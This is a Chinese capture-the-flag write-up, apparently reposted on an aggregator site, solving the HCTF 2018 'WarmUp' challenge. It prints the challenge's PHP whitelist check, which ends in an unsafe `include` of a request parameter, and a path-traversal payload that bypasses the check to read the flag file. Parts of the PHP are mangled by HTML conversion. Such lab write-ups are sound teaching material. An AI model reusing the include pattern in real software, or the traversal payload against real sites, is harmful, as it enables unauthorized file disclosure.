微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

[HCTF 2018]WarmUp_BUUCTF

打开网站

image

查看源码

image

访问source.PHP文件,开始代码审计

 <!--?PHP
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=-->"source.PHP","hint"=>"hint.PHP"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            if (in_array($page, $whitelist)) {
                return true;
            }
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')   //截取问号前面的子串
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    if (! empty($_REQUEST['file'])  //file参数值不是null、并且file参数值符合is_string()函数、并且符合emmm::checkFile()
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file']; //最终的目标
        exit;
    } else {
        echo "<br><img src="\" https:="" i.loli.net="" 2018="" 11="" 01="" 5bdb0d93dc794.jpg\""="">";
    }  
?>

source.PHP?file=hint.PHP

image

?file=hint.PHP?../../../../../../ffffllllaaaagggg

image

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。

相关推荐